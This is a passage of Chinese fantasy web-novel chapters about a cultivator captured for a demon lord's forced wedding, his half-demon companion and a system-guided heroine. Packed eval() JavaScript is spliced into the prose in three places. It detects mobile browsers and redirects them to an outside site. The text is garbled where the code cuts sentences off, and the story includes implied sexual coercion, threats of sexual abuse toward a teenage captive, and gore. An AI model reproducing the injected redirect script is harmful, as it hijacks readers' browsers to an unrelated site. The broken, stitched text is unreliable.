一个猜测缠上心头。沈流商停下脚步,灵力微凝,在两人之间隔开一道无形屏障。 “谢济泫,”他盯着对方的眼睛,一字一顿,“你的原身,究竟是什么?” 谢济泫身体猛地一僵,眼神飘向翻滚的魔雾,抿紧嘴唇,像极了做错事不肯认账的大狗。 初见时乍看他一副鲛人半妖的模样,小瞧了他,到现在沈流商也没有想通何种魔物会拥有金瞳。 “说了,”沈流商按捺着将人暴打一顿的冲动,语气放缓,“我便暂且不计较你的所作所为。” “当真?”谢济泫猛地转回头,黯淡金眸瞬间被点亮。 “我几时骗过你?”沈流商面不改色,心中却已盘算起秋后算账。 得到“保证”的谢济泫立刻欢喜起来,不管不顾就要扑过来。沈流商却几乎是本能地,在那手臂触及自己前,迅疾地后退了半步。 他是真的有些怕了,怕对方不知何时又会动手。若是一天之内遭遇两次那样的失控,即便是灵力巅峰状态下,沈流商都隐隐觉得自己会有性命之忧。 这退后的半步,让谢济泫眼里的光暗了暗。 伸出的手臂落空,僵在原地。谢济泫脸上的欢喜一点点褪去,化作迷茫,继而染上深切的委屈。他执拗地再次上前,手臂强硬地一环,不顾沈流商瞬间绷紧的身体,将他牢牢锁进怀里。 “你就是在骗我。” 沈流商浑身僵硬,强压下喉头翻涌的厌恶,齿关微颤。他强迫自己抬起手臂,在谢济泫紧绷的背上虚虚搭了一下,声音艰涩:“放手……我只是,还需要时间适应。”这话说得他自己都觉得虚伪。 “适应?”谢济泫把脸埋进他冰凉的颈窝,温热的呼吸喷洒在皮肤上,声音闷哑,“我们都那样了……最亲密的事都做过了……你为什么还要躲我?” 他抬起头,眼圈泛红,深深望进沈流商竭力维持平静的眼眸,“你是不是后悔了?觉得我不好,不想要我了?” 那语调活脱脱是被抛弃的怨妇似的,好像刚才被压着扌喿的人是他一样。 沈流商额角的青筋突突直跳,连日积压的疲惫与惊怒冲破了极限。他用尽残余的力气,挥手狠狠扇在谢济泫脸上。 “够了!”他的声音嘶哑,“别再演给我看了。” “我生了心魔,你当真不知道么?”他喘了口气,每个字都像从牙缝里挤出来,“同心契不是我求的。我从未想过我的道侣会是个男人,更不可能是个魔物。” “什么灵族指引?什么天注定?”他忽然笑了,眼里却一片荒凉,“老天不过是拿我取乐罢了。我勤勉修行,究竟做错了什么,要这样折辱我?老天你就喜欢看人屁股开花是不是?!” “啪”的一声轻响,在死寂的魔雾中格外清晰。 谢济泫整个人顿住了。手臂缓缓松开,他退开一步,目光沉甸甸地落在沈流商脸上。那双泛红的金眸里有什么东西碎裂开来,又迅速沉入晦暗的底色。他没有说话,只是最后看了沈流商一眼,那眼神让沈流商心头一沉。 下一瞬,谢济泫猛地转身,如同一头受伤的凶兽,头也不回地扎进了前方浓稠的魔雾深处,身影彻底被黑暗吞噬。 沈流商僵立原地,四周只有魔雾无声涌动。方才被触碰过的地方还残留着不适,心口却莫名空了一块。他甚至没注意到,何时有几只面容模糊的小鬼魂飘到附近,对着他指指点点。 “哎呦喂,瞧瞧,负心汉呐!” “活着时人模狗样,死了更是心肝烂透咯!” “那小哥多俊,多痴情,这就赶跑啦?” 沈流商烦躁蹙眉,指尖灵力微弹,一道无形气劲扫过,小鬼们尖叫着四散逃开。 没有谢济泫在身边,魔压似乎更重了,但沈流商的心却奇异地渐渐冷寂下来。这本就是他的试炼之路,谢济泫跟来已属多余。当务之急,是找到血尸海。 沈流商轻叹一声,暗道:那傻子的本领强过我许多,就算我被啃成渣子了,他也不会怎么着的。 他收敛气息,如同融入黑暗的影子,独自朝着感应中血气最浓的方向前行。周围路过的游魂形态扭曲,魔气粘腻,带着腐败的血腥气。 前方一处路口,地面隐约有暗红色纹路一闪而逝,这是阵法残留的痕迹。沈流商脚步未停,甚至刻意泄露了一丝极微弱的生人灵力波动,然后故意踏入了陷阱核心。 “嗡——!” 暗红纹路骤然爆发刺目光芒,瞬间蔓延交织成一张巨网,将他笼罩其中,强大的吸力与禁锢之力同时传来。 几乎就在阵法发动的同一时刻,寒潭对岸的密林间,悄无声息地现出十余道身影。人人身着漆黑长袍,脸覆青铜面具,行动整齐如鬼魅。现身之后,齐刷刷半跪于地。 为首一人缓步上前,身形高挑,抬手缓缓摘下面具。 面具下,是半张俊美苍白的男子面容。另半张脸上爬满诡异妖冶的暗紫色魔纹,如同有生命般微微蠕动。眼眸深不见底,此刻正冷漠地望向阵法中央被困的沈流商。 沈流商故意放开意识,整个人在阵法光芒与神魂冲击下迅速沉沦。陷入黑暗前的最后一瞬,只捕捉到几个零碎词句。 “……面容极其相似……” “尊主有令……此人……必须活口……” 再恢复意识时,身体正随着规律颠簸,身处密闭昏暗的轿辇。浓郁的血腥味与魔气混杂,令人作呕。 几个修士倒在一旁,依旧昏迷,脸色灰败,颈侧的血线咒印已如活过来的血色蜈蚣,狰狞蜿蜒爬满整条小臂,还在微微蠕动。 “醒了?”身侧传来沙哑低沉的声音。 沈流商艰难转动脖颈,对上一张近在咫尺的青铜面具,正是那魔修首领。另一名面具人刚小心翼翼地从一个修士颈边收回漆黑骨针,手中持有一份拓印着鲜红纹路的薄皮纸图谱。 “左护法大人,血咒已下,再过三天,这些修士便为魔傀,大罗神仙来了都回天乏术。” 首领接过,目光在图谱上停留一瞬,淡淡道:“做得好,回宫后重重有赏。” “遵命。” 沈流商卖力地做出一副神魂受创的虚弱模样,扯了扯嘴角,带着挑衅的语气:“仙门叛徒,还有脸称尊主?” 面具后的目光陡然锐利,一只戴着黑铁手套、冰冷彻骨的手猛地伸来,狠狠掐住他的下颌,强迫他抬起脸。 “不堪一击的小虫子,死到临头了还大言不惭?”魔将指尖流连在沈流商下颌线,“你很幸运,本护法不会杀你,所以,别急着使激将法求死。” “你不用多久也会成为魔族的,小修士。或许本护法还得尊称你一声''君后''呢。” 沈流商瞳孔微缩,抿紧嘴唇,不发一言。 “倒是副好皮囊。”左护法抬手钳住沈流商的下颌,指节缓缓收紧,迫使他仰起脸,“可惜尊主要的人,谁也动不得。” 指尖划过紧绷的侧颈,在喉结处短暂停留,留下冰凉的触感,暧昧又危险。 “若能让尊主多看两眼,也算你的造化。”左护法松开手,不怀好意地舔了舔嘴唇,“毕竟……这张脸,确实像极了那位。” “能与尊主的心上人有着相似的容颜,共享尊主的眷顾,你应该感到荣幸。” 沈流商胃里翻腾,几乎要冷笑出声。荣幸?代替品?何等荒谬。他闭上眼,不再理会。 他默诵清心咒,强压着翻涌的情绪。情报无误,那流仙门的叛徒堕魔后,果真盘踞于此——占血尸海为王,布阵诱捕仙门修士,炼为魔傀,或更张扬地,向三界广发婚书。只是那婚帖上的新娘名姓,总是空白,或染着一抹刺目的血污,嚣张挑衅。 沈流商收敛气息,将修为死死压住。不能在此浪费半分力气,那些杂兵不值一提。他只需忍耐,直到见到那所谓的“尊主”——然后,一击必杀。 为仙门道友雪恨,为同门手足偿血。定要在长生天秘法燃尽之前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576374|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在此时,轿辇猛地一晃,外面传来魔驹惊慌的嘶鸣与手下急促的喊叫:“大人!前方有异!有人拦路!” 魔将蹙眉,不耐地掀开前方一道缝隙向外望去。沈流商也勉强撑开眼皮。 只见道路中央,站着一个满脸横肉、眼角带疤的粗壮汉子。不远处,几个壮汉正粗暴地拖拽着一个衣衫破烂、浑身伤痕的少年。那少年不过十五六岁,身形单薄,却死死抱着怀中一只染血发抖的雪白小羊羔,任凭拳脚如雨点般落在身上,也只是闷哼着蜷缩身体,将小羊护得更紧。 刀疤脸凑到轿窗前,点头哈腰:“惊扰大人法驾!小的罪该万死!是小的没管教好这批新抓的‘货’,尤其是这个修罗族的小崽子,野性难驯,路上跑了好几回……” 轿内,魔将淡漠地瞥了一眼那挣扎的少年,目光在他染血却难掩清秀轮廓的脸上一扫而过,随口道:“根骨尚可。留下,充作魔奴,本护法身边正缺一个可心人儿呢,把它喂好点,明晚上洗干净了本护法好好儿疼疼它。” “是是是!多谢大人恩典!”刀疤脸接过一小袋魔晶,千恩万谢,忙指挥手下:“快!把那小崽子扔进轿里去!” 一阵剧烈挣扎和闷响过后,轿帘被粗暴掀开,少年被狠狠掼了进来,重重摔在沈流商脚边。他几乎在落地的瞬间就弹身而起,极度警惕地蜷缩到轿厢最远的角落,后背紧贴冰冷厢壁,将小羊羔牢牢护在怀里。 凌乱肮脏的黑发垂下,遮住大半张脸,他的目光极快地掠过昏迷的众人,最后定格在沈流商身上,抱着小羊的手紧了紧。 少年迅速低下头,将脸埋进小羊染血的绒毛中,伸出伤痕累累的手,用破烂袖口极其轻柔地擦拭小羊身上的血污。 轿辙重新启动。轿厢内一片死寂,只有颠簸的声响和少年偶尔压抑的抽气声。 窗外天色越发晦暗,黑雾翻涌。远方,一座巍峨恐怖的宫殿轮廓逐渐清晰。 左护法似乎对沈流商的沉默失去了兴趣,转而将注意力投向新来的“货物”。 他再次开口,话却是对着沈流商说,语气玩味:“君后娘娘,其实何必对魔族抱有偏见?正道虽好,规矩却也太多,活得未免太累。我们魔族不过求个痛快,欲念便纵欲,享乐便尽欢,谁说得准明日如何?倒不如抓住眼前欢愉。”他低笑一声,目光却斜睨着角落那仿佛毫无反应的少年。 沈流商依然闭目,恍若未闻。但就在那魔族说出“典礼”、“君后”这几个字眼的瞬间,角落里的少年,擦拭小羊的动作微微顿了一下。随即,一股极其阴冷晦涩的气息悄然弥漫。 他抱着小羊的手臂又收紧了些。少年垂着头,碎发遮住眉眼,唇角抿成一道冷白的线。 魔将自然察觉到那股异常的阴寒气息,眉梢微动,眼中血焰跃动,朝角落瞥去,咧开了嘴。 “还是个带脾气的?”他低笑,嗓音粗哑,“有意思,老子就好这口。” 他凑近那少年,伸出手悬在半空。指尖缠绕的血色魔气如细蛇游动,映得少年苍白的脸颊泛起诡谠的红晕。魔将故意放慢动作,想感受猎物因恐惧而生的战栗,却什么也没等到。 少年仍垂头蜷在角落,凌乱黑发遮住了大半张脸,只有瘦削的肩胛骨从粗布衣衫下凸起。但那股阴寒之气非但未散,反而凝成薄霜,悄然攀上魔将的玄铁护腕。 “啧。”魔将不恼,眼中血焰反而兴奋地跳动。他改指为掌,一把攥住少年细瘦的腕骨,触手冰冷,胜过玄冰。 “装哑巴?”他贴得更近,带着血腥味的热气喷在少年耳侧,“老子倒想听听,是你的骨头先碎,还是你先开口——” 话忽然断了。 一直低着头的少年,缓缓抬起了脸。 黑发滑落,露出一双深不见底的眸子。而他的嘴角竟含着一缕极淡的笑意,古怪又冰凉,仿佛看见了什么有趣的事。 魔将心头莫名一凛,倏地收回手,干咳两声:“咳……咱们魔族是不是有条规矩?” 旁边一个小魔愣住:“啊?大人您说啥规矩?” 左护法猛地肘了他一下。 那小魔吃痛,赶紧吐了口血沫,磕绊着接话:“有、有的!尊主大婚前三日,手下人不能偷腥……得等到大婚当晚,在殿中与尊主同享极乐!” “他娘不早说!老子要坏了规矩遭尊主怪罪下来,第一个就拿你开刀!” 小魔一个劲儿地赔罪:“是是是……还是老大您高明!” 沈流商听明白了,到时候一群魔众要在殿中共演活春宫。他胃里一阵翻涌,强压下恶心,默念起清心咒,再没心思去留意那角落里的少年。 与此同时,沈流商左手手腕内侧那道因果烙印,骤然传来清晰无比的灼烫感!如同被无形的丝线猛地牵扯、绷紧。 因果线,亮了。 86. 副cp番外8 轿辇猛地一顿,彻底停了下来。 外面传来整齐划一、带着敬畏的跪拜声:“恭迎护法大人回宫!尊主已然等候您多时了!” 魔宫,到了。 带着面具的左护法豁然起身,一把扯开车帘。阴冷狂暴的魔气裹挟着浓郁的血腥味瞬间涌入轿厢,压迫感陡增。 他冰冷的目光落在沈流商身上,随手打出一道幽暗的魔纹,将其彻底禁锢。“看好他,三日后便是婚期。若有差池……”他顿了顿,声音森寒,“你们提头来见。” 两名高大的魔卫应声上前,粗鲁地将沈流商从轿辇里拖了出来。 沈流商艰难地抬头,映入眼帘的是巍峨耸立、由漆黑巨石和森白骸骨筑成的庞大宫殿群,魔焰在尖顶跳跃燃烧,无数魔物在昏暗的天空中盘旋嘶鸣。这里便是魔修的老巢,血尸海的权力中心——魔宫。 无数道饱含贪婪和欲望的目光聚焦在他这个俘虏身上。 沈流商被推搡着前行,余光却不由自主地投向轿内。只见那少年与几名修士被魔卫粗暴地拖拽而出,连同那只瑟瑟发抖的小羊羔,一道被押往另一条路,或许是通往奴隶场或囚牢深处。 少年踉跄间,仍固执地回过头,目光紧紧锁在沈流商身上。 沈流商咬紧牙关,猛地将脸偏开,硬生生截断了那道无声的视线。 魔修似乎心情极好,他踱步到沈流商面前,高大的身影投下沉重的阴影。 “等尊主用完了你……”他忽然俯身,温热的鼻息如毒蛇吐信,缠绕在沈流商耳畔,“本座再……慢慢儿地,细细儿地,陪娘娘尽兴。” 说罢他直起身,瞥向一旁垂首侍立的魔卫,轻笑道:“要是看不好君后娘娘,你们可都得提脑袋来见。” 那几个魔卫诺诺点头。 沈流商没有躲闪,只是用那双银灰色的眼睛静静地看着他,目光沉寂如水。 魔修似乎很满意他这副“认命”的样子,发出一阵低沉的大笑,在一众魔族的簇拥下,大步走向宫殿深处。 沈流商被魔卫押着,走在后面,只看到那少年瘦弱的背影消失在阴暗的甬道尽头,仿佛被巨兽吞噬。 魔宫内部巨大而幽深,走廊两侧燃烧着幽幽绿火的壁灯,映照得墙壁上扭曲的浮雕如同活物,仿佛有无数眼睛在暗处窥视。 他被拖进宫殿深处一间隐秘的囚室。远处王座间的歌舞喧嚣传到这里,只剩下厚重的死寂。沉重的铁门无声关上,门缝间浮起禁制的微光。不远处,几个镶着魔晶石的人类头颅滚落在地,已蔓生出狰狞的骨刺。 沈流商拨开碍事的白骨,缓缓跌坐在地。腕间的印记再次隐隐发亮,他低头凝视着那微光,喉间溢出一声疲惫的叹息。 “傻子……” 他抬手抵住眉心,心中浮起一片愁云。 “我都那样对他了……怎么还跟来。” 同时,他分出一缕极微弱的灵力,化作一条泛着浅蓝光的小鱼,灵活穿过禁制,悄无声息地滑向地牢最深处。 * 地牢沉在不见五指的黑暗里。 黑暗粘稠如墨,几乎吞噬一切光线与声音。只有几缕惨白的月光,顽强地从骨窗的缝隙挤入,落在少年低垂的眼睫上,染上一层冰冷的银辉。 “他不喜欢我……”谢济泫的声音轻飘飘的,散进浓稠的夜色里。他垂着眼,指尖小心翼翼地抚过小羊脖颈上的伤口。 月光照着那处皮开肉绽的地方,皮肉竟微微蠕动起来,血止了,口子合拢,生出细软的新毛。小羊舒服地往他手心蹭,发出一声绵软的“咩”。 “他讨厌我……因为我是魔族?”他像在问羊,又像在问自己。 小羊只是仰着头,湿漉漉的眼睛干干净净地映着他,仿佛这天地间只剩下他一个可以依靠。 “我要怎么做……他才会接受我?”少年嘴唇颤了颤,眼泪无声地滚下来,洇湿了小羊的绒毛。 “都怪你……都怪你……”他突然把脸埋进膝盖,肩膀抽动起来,呜咽声闷闷地传出,“要不是你,他怎么会厌弃我?那些折磨他的念头……是不是你引出来的?素鳞是我的……你怎么敢那样对他?现在连我也被他讨厌了……他再也不会理我了……” 他哭得喘不过气,手一松,小羊落在地上。 那羊四蹄站稳,漆黑的眼珠转了一圈,瞳底悄然浮起一点猩红。 它仰头,又“咩”了一声。 落在谢济泫耳中,却成了清晰冰冷的人言。 “没用的东西,是你自己不行!何况,用的难道不是你的身子?若不是万不得已,我怎会容旁人碰他一根手指?素鳞从来就不是你的。几千年前我与他相识相知的时候,你还不知在何处呢。轮得到你在这里叫嚷?若非我只剩一缕神念,没法主导这副躯壳……就凭你之前偷亲他那一下,我早杀你千万回了。” 它顿了顿,声音里是掩盖不住的厌烦。 “若不是我用幻影术遮住你的原貌,素鳞见都不会想见到你……还有,快把我从这羊身里弄出去。谁准你把我塞进这畜牲体内的?” 谢济泫哭得一抽一抽的,却猛地抬起头,通红着眼睛瞪过去:“你骂啊……你再骂,不也就这副德性?看谁更难看!要不是你死撑着不肯与我融合,我怎么会看起来像个傻子,被素鳞嫌弃?!我要吃了你……吃了你,我就能变成完整的灵族,他就能接受我了!” 他说着就扑过去,一把掐住小羊的脖子,张口要咬。 那羊竟嗤笑一声,眼神里的猩红跳了跳。 “怂包。蠢货。素鳞会喜欢你才怪。我偏不与你融合,就看着你被他嫌,看着他揍你。迟早有一天,这身子归我!至于你?哪儿凉快哪儿待着去吧!” “你得意什么?素鳞不喜欢我,难道就会喜欢你?看看你这张脸,丑得让人作呕,你以为我情愿生成这副模样?” 那只羊的红眸骤然一颤,仿佛有火焰在瞳底涌动。它猛地垂下头颅,铁蹄焦躁地刨刮地面,终于嘶吼着将双角向前撞去。 “这羊脸又别致又好看,跟你换着戴戴呗?!” 一人一羊当即缠斗在一处。柳知微坐在不远处的石头上,望着这场荒唐的较量,觉得一眼看不到修仙界的未来。 就在片刻前,她还以为撞见了什么世外高人。眼下看来,这位的精神状态,实在超前许多。 就在这时,牢房里传来压抑的啜泣声,一个年轻修士抱着头蜷缩在角落,声音充满绝望:“完了……我们都完了……魔头要把我们都炼成丹药……” 他身旁的老修士叹了口气,浑浊的眼中满是疲惫:“省些力气吧,孩子。是福不是祸,是祸躲不过……” “师父,我们宗门……真的一个都不剩了吗?”另一侧牢房里,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳知微在灵识中和系统确认着信息。 芝麻顿了顿,继续刚才的话。 【魔君“白露”本出身修仙名门,后被三大仙宗之一的流仙门收为弟子。因当年一念之差,致使宗门倾覆,他也堕入魔道,灵识浑噩,一路逃至血尸海深处。】 【此后,每逢三月三,他便于血海之畔,强娶一位容貌肖似故人的修士,并广发婚书遍传三界,行事乖张,惊动四方。如今,他已被定为长生天灵泽大比试炼之题。要灭掉魔头的灵魄,便需以这柄骨刃刺入魔头的眉心。】 【明日,便是三月三,魔头的大婚典礼。这次的新娘是……您的师兄“沈流商”。】 柳知微:? 是她知道的那个沈流商吗?同名同姓?骗鬼呢。 [被拉入幻境的都有谁?]她直接问道。 芝麻:…… 它明明一开始就交代了副本背景,敢情这位祖宗一个字都没听进去。 【副本人物信息如下——】 【沈流商:沧澜灵族少主,精通水系术法,长生天怀崖长老亲传弟子,与你同门,排行第二。已有道侣,关系未公开。】 【谢济泫:身份不明,半魔之体,当前位面战力巅峰。神魂不稳,执念深重,情感状态:单恋未果。】 【柳清圆:白玉京神侍,神人混血,灾厄灵体,通晓御灵之术。性情淡漠,为天道所忌。长生天怀崖长老首徒,对洛小师妹颇为关照。】 【洛闻瑛(宿主当前身份):姑媱山出身,怀崖长老关门弟子,师门中最年幼的小师妹。有木系花仙子之称,擅长治愈术法,多倚重护身符咒与法宝,实战能力偏弱。情感倾向:仰慕大师姐柳清圆。】 87. 副cp番外9 柳知微:[???] [系统你还夹带私货呢?] 全乱加设定来的,她还没脱单呢,怎么沈流商就嫁出去了?那个谢……嘉豪简直没感情的怪物似的,上次把她撵得嗷嗷叫,他怎么还有对象? 柳知微合理怀疑,任何人来了这系统手里是不是都要谈个恋爱才能走。 [统子你个恋爱脑!] 芝麻:[……]它说实话而已,怎么恁就这犟嘴呢! 【总之宿主大大抓紧时间破局,明天就是幻境最终关。如果杀不掉Boss,以上说的那些‘设定’就会全部应验,您和柳清圆可真就绑死了,往后余生您俩就好好过日子去吧!】系统语气里透着一丝急躁。 柳知微垂眸沉吟片刻,忽然轻笑:[其实仔细想想,柳清圆倒是个不错的人。与其费尽心思破局,不如就这样与她相守,似乎……也不坏?] 系统倒慌了,十分识时务地回复:[……宿主您认真的?!尊贵的宿主大大,这边当然为您准备了关键道具!无需亲自动手,借刀杀人即可哦~] 一块泛着温润光泽的玉牌悄然落在柳知微掌心。 【长生天通讯玉牌,可与沈流商取得联系,无视禁制阻隔。系统加持下,新增瞬移传送功能!只要您想,随时可与沈流商互换位置。】 [道具不错,]柳知微指尖轻轻摩挲着玉牌边缘,[不过……我改主意了。不如把沈流商的设定换给我,如何?] 芝麻沉默了一瞬:[……理论上可行。叮!玉牌升级中,新增技能设定转换功能!积分已扣除!宿主请注意,此操作不可逆转!] 柳知微唇角微扬,眼底掠过一丝难以捉摸的光:[我从不后悔。] 她摸着那玉牌,一只手抚上心尖。不知为何,她觉得自己非要如此不可,像是被胸中那股强烈的不甘推着走,又像是有无数悔恨与遗憾在心头翻搅、嘶吼,非要她亲手去做个了断。 柳知微定了定神,对自己说:不过就是去斩了那魔头,破了这幻境,再继续她身为女配的夺舍大业罢了。 对,就这么简单。 “鬼、鬼啊!”旁边一个快要昏死过去的凡人猛地睁眼,看到活动的白骨,吓得连滚带爬地躲到远处,引得其他修士也纷纷惊恐张望。 谢济泫被它吵得心烦,又是一道灵杀打过去。白骨激动得骨爪咔咔挠地,随即哗啦散架,鬼火熄灭。 地牢里的白骨时不时也爬起来吓唬这群人,周围的修士见怪不怪地收回目光。 不多时,白骨悄无声息地重拼回来,在角落里挑挑拣拣,叼出一颗头颅,比划着“喀嚓”换上。 谢济泫指尖聚起灵力。 “骨头痒,骨头痒!”白骨忙道。 “怎么,你折腾够了?”那只羊又“咩”了一声,声音落进谢济泫耳里。 “还不去救人?等明天他嫁了别人,可就彻底跟你没戏了。” 谢济泫垂下头:“那人也是魔族,素鳞不会喜欢他的。” “说你是蠢货自己还不信,这他娘叫霸王硬上弓,管你情不情愿,拜了堂就是夫妻,他不会再跟你一起了!” 谢济泫猛地抬首:“他敢强迫素鳞?我现在就去杀了他。” 羊:“……” 它实在懒得提醒眼前这人,当初对沈流商做出那档子事的,又有什么资格说“强迫”二字。 不过好歹激起了谢济泫的斗志,也算没白费口舌。羊咬住他衣角,将人往回扯了扯:“你傻啊!那魔头根本不是素鳞的对手,素鳞来这里自有他的打算!何况他的道心试炼你忘了?这是他的劫,得他自己闯。” 谢济泫眼底猩红:“那你要我眼睁睁看着他再伤一次?我们已经……已经失去过他一次了。” 他声音低下去,像钝刀磨在心上。 “就是这一次受伤,后来他才会……才会万劫不复。是我们没能护好他,留他一个人煎熬……到最后,所有人都跟着一起毁了。” 话音落下,四周骤然死寂。 半晌,一点幽蓝光晕无声浮现,渐渐凝成一条小鱼的模样。它轻轻蹭了蹭谢济泫冰凉的指尖,温暖、柔软,又带着酸涩的疼。 小鱼绕着他缓缓游了一圈,最终化作流光,渗进他灵脉之中,灵台深处,那声音极轻,如风拂过心口。 “我很好,不必忧心。” “只是……有些念着你。” 恍惚间,仿若千万年前那人在耳畔,声音含着滚烫的热切。 “若此心可证,愿为比翼连枝,相守相持。” “若此志同行,自此同道共生,并肩而立。” 谢济泫怔住了。 身旁的羊靠近那道未散的流光,低头喃喃:“他认定你了?……真是昏了头,这莫非就是命里带劫?” 心脏像是第一次学会跳动,剧烈地、生疼地撞着胸膛。 羊忽然瘫倒在地,气息全无。一缕微光从它身上浮起,悄然汇入谢济泫的灵脉。那是搁置了数千年的残念,因着道侣一句心念相通,终于被他接纳。 海啸般的记忆轰然席卷。所有破碎的过往冲撞神魂,灵力剧烈震荡。 恰在此时,地牢外传来沉重脚步声。牢门禁制一闪,一个魔气森森的狱卒将一团黑乎乎、蛆虫蠕动的人形物体“哐当”扔进来,恶臭扑鼻。 “又来了!” “快退开!是魔物!” 牢房内的修士们惊慌失措地后退,挤在远离那团物体的另一端,脸上写满恐惧与厌恶。 柳知微瞥了眼那团东西,那是刚才被抓走的少年,被随意扔在地上。 地牢外的脚步声渐行渐远。 不能再等了。 她指间发力,玉牌应声碎裂。霎时间,微光流转,她的身影如烟消散,再无踪迹。 而下一刻,地牢深处,谢济泫身躯猛然一震。 以他为中心,狂暴的灵力如星辰炸裂般轰然迸发,气浪撕裂阴湿的空气,碎石簌簌滚落,整座囚笼都在震颤嗡鸣。青金色的纹路正如活物般在谢济泫皮肤下流动。 “封印……松动了!”角落里有修士颤声喊道。 石阶上方传来沉重脚步声,铁甲碰撞哗然作响。 一个犄角断裂的魔卫统领扒住震颤的牢门,瞳孔骤然收缩:“下面怎么回事?!” “统领!丙字狱的禁制在瓦解!”年轻魔卫踉跄奔来,头盔歪斜,声音发颤,“三十二道缚灵咒……全破了!” “废物!”统领一把揪住他领口,却感到掌心传来灼痛。他猛地回头嘶吼:“启动血祭阵!立刻压——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576376|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话音戛然而止。 魔晶从他脖颈处疯长而出,一排挨着一排,一茬叠着一茬,转眼便封住了所有声响。他瞪着眼倒下,最后看见的,是站在尸海中央的那个身影。 地牢中,修士与魔族,皆已化作残躯断肢,或一堆,或两半。 谢济泫缓缓抬头,眼底金芒流转。他踏过满地晶簇和血肉,脚步起初摇晃,随即越来越稳,朝着魔宫深处,一步一步走去。 “我简直是疯了……” 可惜他走得太急,却没看见就在柳知微曾端坐的那个角落,沈流商正一身血污嫁衣,懵懂而立。他茫然垂首,看着地上微光浮动的血泊里,那身红衣更深的倒影。 …… 魔宫深处,血池翻涌,骨钟轰鸣。 身着玄色嫁衣,金线绣满魔纹,宽大袖摆与曳地裙裾沉重无比,禁锢之力勒入灵脉。她被两名魔姬押解着,走向主殿。 鲜红盖头遮蔽视线,她只能看见脚下暗红绒毯,与周身令人窒息的魔压。 她被引至主殿,高台之上,“齐殊”斜倚白骨王座,苍白俊秀的脸已被魔纹侵蚀。她身旁立着一具戴青铜獠牙面具的傀偶。 柳知微垂眼,将轻颤的眼睫隐于盖头阴影里。 倏然,一缕熟稔波动触及其灵识。 “新娘子到!”司仪魔官尖声唱喏。 她被推至高台中央,与傀偶并肩。魔尊走下王座,逼近,冰冷目光如蛛网将她锁定。 “虽非绝色,倒也别有一番风味。”魔君沙哑轻笑,苍白手指伸向盖头边缘。 他师承仙门三魁首之一的流仙宗,也曾是云台之巅万众瞩目的首席弟子。只是前尘尽灭,连亲手杀死挚爱这件事,他都记不得了。 如今堕魔至深,竟还要执意寻个眉眼相似的替身成亲,当真是疯魔入骨。 柳知微猛地侧头避开。 台下爆发出猖狂哄笑。 魔君眼中红芒骤盛,杀意一闪而逝:“还羞怯了?”他低笑,“也罢,这盖头,拜完天地再掀。” 这魔君也早便死了,这具身躯,是由晶石造的傀偶做的。 荒谬仪式一项项进行。 “夫妻对拜——” 柳知微被无形巨力扭转,正面朝向傀偶。距离极近,她能看清对方婚服上魔纹,感受到那具躯壳散发的死寂冰冷。 她假装被咒术操控着,干涩开口:“一愿郎君千岁,二愿妾身常健,三愿如同梁上燕……” 魔君操纵着僵硬的傀儡身体,指尖笨拙地模仿着凡人作揖的动作。他听见自己用干涩的声音一字一顿念道:“一愿娘子千岁,二愿本君康健,三愿如同梁上燕……” 关节处的晶石发出细碎的摩擦声,像是对这具空壳学人许愿的可笑模样的嘲弄。 “岁岁长相见。” 冰冷字句同时落下。柳知微指尖掐入掌心。 司仪魔官声音兴奋尖利:“礼成!请新郎,掀盖头!” 所有目光钉死高台。 魔君上前,缓慢抬手,伸向红盖头。冰冷指尖逼近,刻意延长这份窒息折磨。 柳知微全身肌肉绷紧。袖中,骨刃已被冷汗浸湿的掌心握住。 就在傀偶指尖即将触碰到盖头的刹那! “轰!!!” 89. 怀崖x云缨 山洞里黑得伸手不见五指。 怀崖的后背抵着冰凉的石壁,腿还在抖。刚才那头妖兽爆开的血肉溅了他一身,有几滴甚至落到了他脸上,到现在他还觉得那股腥味黏在皮肤上,怎么擦都擦不掉。 同门已经走远了。临走前的冷嘲热讽留在他耳畔,作为灵族却胆小如鼠,这些话让他脸上发烫。 “能站起来吗?” 怀崖抬头,一位红衣女子站在他面前,手里握着剑,脸上什么表情也没有。他记得这个师姐,一路上就没听她说过几句话,永远走在队伍最后,好像什么都跟她没关系。 他撑了一下石壁,腿一软,又滑了回去。 “抱歉……”他低着头,“是我拖累大家了。师姐,你走吧,我自己在这儿就行。” 云缨没动,她垂眼看着他,目光平平的,没有嘲讽也没有怜悯。因为瑶姬交给她的任务,她才伪装成一位弟子一直陪在这个修士身边。 瑶姬大人与凌霄神殿的交易顺利达成。作为交换,凌霄殿将提供传承之法的线索,但附带一个条件:需派遣云缨护送一位灵族修士。 云缨探过这人的底细,他出身不过是一只寻常山鸡,修为进境也慢,在灵族中并不起眼。但她发现,此人于天衍术数上却颇有造化,推演之术精妙,能窥天机于方寸之间。 这大概便是凌霄神殿选中他的缘故,他的确是值得争取的一枚暗棋。那位大祭司告诉她们这只山鸡可以找到姑媱山复兴的关键。 过了片刻,她才开口:“你必须通过试炼。” 怀崖苦笑。他这几百年来,就是被别人托举着往前走的,骗得他自己都快信了,信自己真的能变成他们想要的样子。 “不必,这只是在浪费时间……” 